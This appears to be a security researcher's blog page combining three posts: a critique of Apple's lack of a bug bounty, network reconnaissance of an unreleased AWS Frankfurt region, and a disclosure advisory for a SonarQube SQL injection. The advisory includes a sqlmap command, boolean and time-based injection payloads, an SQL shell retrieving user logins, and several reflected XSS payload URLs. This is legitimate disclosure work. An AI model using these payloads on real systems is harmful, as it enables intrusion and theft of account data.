How secure is Apple?

Since 2005 Apple has been listing all responsible disclosed vulnerabilities (web application security) on a dedicated page. There are in total 435 bugs listed, reported by hundreds of individuals.

In 2011 I've already made a posting about vulnerabilities I've found in Apple's sites. This posting was called "Apple XSS Gallery" and I remember there was a lot of buzz around. (Posting was #1 on HN for a while). Today I was asking myself if something has changed.

Reportings per month for Apple

I've found most of the bugs in August 2011 and I've published the stories in November 2011 after Apple has fixed all issues. I think there are several reasons why the number of submissions has increased. Many big players (Google, Facebook, Paypal, Yandex, GitHub) had started a bug bounty program at this time and have attracted many people to get fame and some $$$.

14 SQL Injections and 5 Remote Code Executions 

If we assume the list of vulnerabilities is complete, then a total issue count of 435 in the last years is pretty low. Is Apple doing a good job concerning security? I don't think so. When we compare the numbers with other programs, we can see, that the number of submissions for a rewarded bounty program is much higher. For example Google had 700 paid reports in the first year.

Find My Iphone API

I'm sure the missing rate-limit for brute-forcing passwords in the "Find My iPhone API" would have been found if Apple had paid for those bugs.

Apple has a market cap of 613.76 billion US-Dollar and isn't able to introduce a Vulnerability Reward Program like other major Internet companies.

This is sad.


New AWS Web Services region: eu-central-1 (soon)

Update 2014/07/06: Since this report Amazon has removed the DNS records for all hosts in the network used by eu-central-1 api endpoints.

Update 2014/08/04: Someone has spotted eu-central-1 in the AWS console:

A short scan for port 443/tcp shows, that some host still up:

$ nmap -p 443 |grep 54.239.54 | awk '{print $5}'

But we can still figure out with openssl that we've discovered the eu-central-1 site. :-)

$ timeout 1 openssl s_client -connect 2>&1 |grep subject
subject=/C=US/ST=Washington/L=Seattle/O=Amazon.com Inc./CN=dynamodb.eu-central-1.amazonaws.


In March Andy Jassy, senior vice president of Amazon Web Services Unit said to the Wallstreet Journal, that Germany is "one of the few countries" where customers are asking for a data center "on their own soil". This news is now 4 month old and it looks like that a german AWS region is finally arriving.

There are currently 8 public available regions. The region in Germany will be named eu-central-1.
The endpoints for all major services are already set up, but network traffic to http or https is blocked.

Region NameRegionEndpoint
US East (Northern Virginia) Regionus-east-1ec2.us-east-1.amazonaws.com
US West (Oregon) Regionus-west-2ec2.us-west-2.amazonaws.com
US West (Northern California) Regionus-west-1ec2.us-west-1.amazonaws.com
EU (Ireland) Regioneu-west-1ec2.eu-west-1.amazonaws.com
Asia Pacific (Singapore) Regionap-southeast-1ec2.ap-southeast-1.amazonaws.com
Asia Pacific (Sydney) Regionap-southeast-2ec2.ap-southeast-2.amazonaws.com
Asia Pacific (Tokyo) Regionap-northeast-1ec2.ap-northeast-1.amazonaws.com
South America (Sao Paulo) Regionsa-east-1ec2.sa-east-1.amazonaws.com
Germany (Frankfurt) Regioneu-central-1ec2.eu-central-1.amazonaws.com

A traceroute to ec2.eu-central-1.amazonaws.com is showing us, that the traffic is going to Frankfurt am Main (ffm):

# traceroute ec2.eu-central-1.amazonaws.com
traceroute to ec2.eu-central-1.amazonaws.com (, 30 hops max, 60 byte packets
 1  vl500.dcata-b16.as6724.net (  2.426 ms  2.410 ms  2.390 ms
 2  be16.432.core-b2.as6724.net (  0.342 ms  0.340 ms  0.327 ms
 3  xe-1-2-0.core-b30.as6724.net (  1.283 ms  1.291 ms  1.278 ms
 4  bei-b2-link.telia.net (  1.265 ms  1.253 ms  1.239 ms
 5  ffm-bb2-link.telia.net (  19.178 ms 
 6  ffm-b10-link.telia.net (  19.094 ms 
 7  a100row-ic-306996-ffm-b10.c.telia.net (  18.829 ms  18.818 ms  18.807 ms
 8 (  20.768 ms (  20.774 ms (  19.758 ms

Let's see how many days or weeks we have to wait, before we can start migrating services from eu-west-1 to Germany.


SonarQube/Sonar SQL Injection

Last year I found a exploitable boolean-based / AND/OR time-based blind SQL injection vulnerability in Sonatype SonarQube >=3.4 and < 3.6.1.

CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Overall Score: 9

SonarQube (formerly Sonar) is an open source platform for Continuous Inspection of code quality.

This is the first public advisory of the issue. This advisory includes a list of fixed and undisclosed XSS bugs in Sonar >=3.5.1.

  • 2013-04-31 Filled a bug in Sonar Jira [1]
  • 2013-05-01 SQL Injection reported via email to Freddy Mallet from Sonatype 
  • 2013-05-07 Bug confirmed by Freddy Mallet 
  • 2013-06-24 
    • Simon Brandhof started working on the issue
    • they planned to fix the bug in August 2013 with version 3.7
    • Issue silently fixed in their GitHub repo [2]
    • I told them that it is a bad idea to have a SQL injection fixed in the code without any advisory for the community.
  • 2013-06-28 They told me, they release in the next days a new version containing the fix
  • 2013-07-12 Sonar 3.6.1 released without security advisory or any mention of the bug in the Release Notes
In the last months they decided to delete the issue from Jira [4] but someone or a automated process added the issue to the OVSDB [5], but without any specific information about the bug.

After I figured out, that the bug is fixed in the Sonar GitHub repo I notified a friend from the Apache Software Foundation, because https://analysis.apache.org was running the vulnerable version of Sonar and the site was potentially in risk. Probably that's the reason why the bug is listed at OVSDB.

1. SQL Injection details

 The vulnerable part is the measure search function:

When we change the qualifiers[] GET parameter to a single back-tick ('), we can see a SQL syntax error in Sonar's logfile:

2013.05.01 12:34:57 ERROR o.s.MEASURE_FILTER  Fail to execute measure filter: MeasureFilterContext[filter={qualifiers='|c1_op=eq|c2_op=eq|c3_op=eq|display=list|cols=metric:alert_statusnamedatemetric:nclocmetric:violationslinks|sort=name|asc=true|pageSize=100},sql=SELECT s.id, s.project_id, s.root_project_id, p.long_name FROM snapshots s INNER JOIN projects p ON s.project_id=p.id  WHERE  s.status='P' AND s.islast=true AND p.copy_resource_id IS NULL  AND s.qualifier IN  (''') ,user=<null>]
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

From here it's easy to exploit:

[nils@mac sqlmap]$ ./sqlmap.py -u '' -p 'qualifiers%5B%5D' --level 3 --risk 3 --sql-shell --dbms=mysql


GET parameter 'qualifiers[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 173 HTTP(s) requests:
Place: GET
Parameter: qualifiers[]
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: qualifiers[]=BRC') AND 8295=8295 AND ('KiEs'='KiEs&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: qualifiers[]=BRC') AND SLEEP(5) AND ('QxFe'='QxFe&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
[14:23:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

Now we have a SQL shell to our database and we can run any query against the database:

[14:23:09] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select login from users;
[14:23:28] [INFO] fetching SQL SELECT statement query output: 'select login from users'
[14:23:28] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:23:28] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:23:32] [INFO] retrieved: admin
select login from users; [1]:
[*] admin


2. The fix [2]

@@ -210,9 +210,16 @@ private void appendResourceNameCondition(StringBuilder sb) {
    private static void appendInStatement(List<String> values, StringBuilder to) {
 -    to.append(" ('");
 -    to.append(StringUtils.join(values, "','"));
 -    to.append("') ");
 +    to.append(" (");
 +    for (int i=0 ; i<values.size() ; i++) {
 +      if (i>0) {
 +        to.append(",");
 +      }
 +      to.append("'");
 +      to.append(StringEscapeUtils.escapeSql(values.get(i)));
 +      to.append("'");
 +    }
 +    to.append(") ");

3. XSS in Sonar/SonarQube

In my discussion with Sonatype I've reported a lot of reflective and persistent XSS bugs and issues with missing CSRF tokens to the team. All issues are fixed silently fixed without a release note or a security advisory. I believe everything is fixed in Sonar >=3.7.

Reflective XSS:

  • /confirm?url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
  • /dependencies/index?search="><script>alert(1)</script>
  • /measures/search?qualifiers%5B%5D=</script><script>alert(1)</script>&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
  • /reviews/index?review_id=846&statuses%5B%5D=REOPENED&severities%5B%5D=&projects%5B%5D=&author_login=&assignee_login="><script>alert(1)</script>&false_positives=without&sort=&asc=false&commit=Search (author_login as well)
Reflective XSS in POST requests:

POST /roles/projects?qualifier=TRK HTTP/1.1

POST /roles/projects?q=c 

Missing CSRF protection with XSS in result:


POST /roles/edit_users?redirect=global HTTP/1.1

3. Summary

Upgrade always to the latest version of SonarQube. Don't trust the changelog! Probably there is always a security fixed inside the package. Run your SonarQube instance only in your local network to prevent access from the public internet. Setup the SonarQube user management to prevent access from unauthorised users.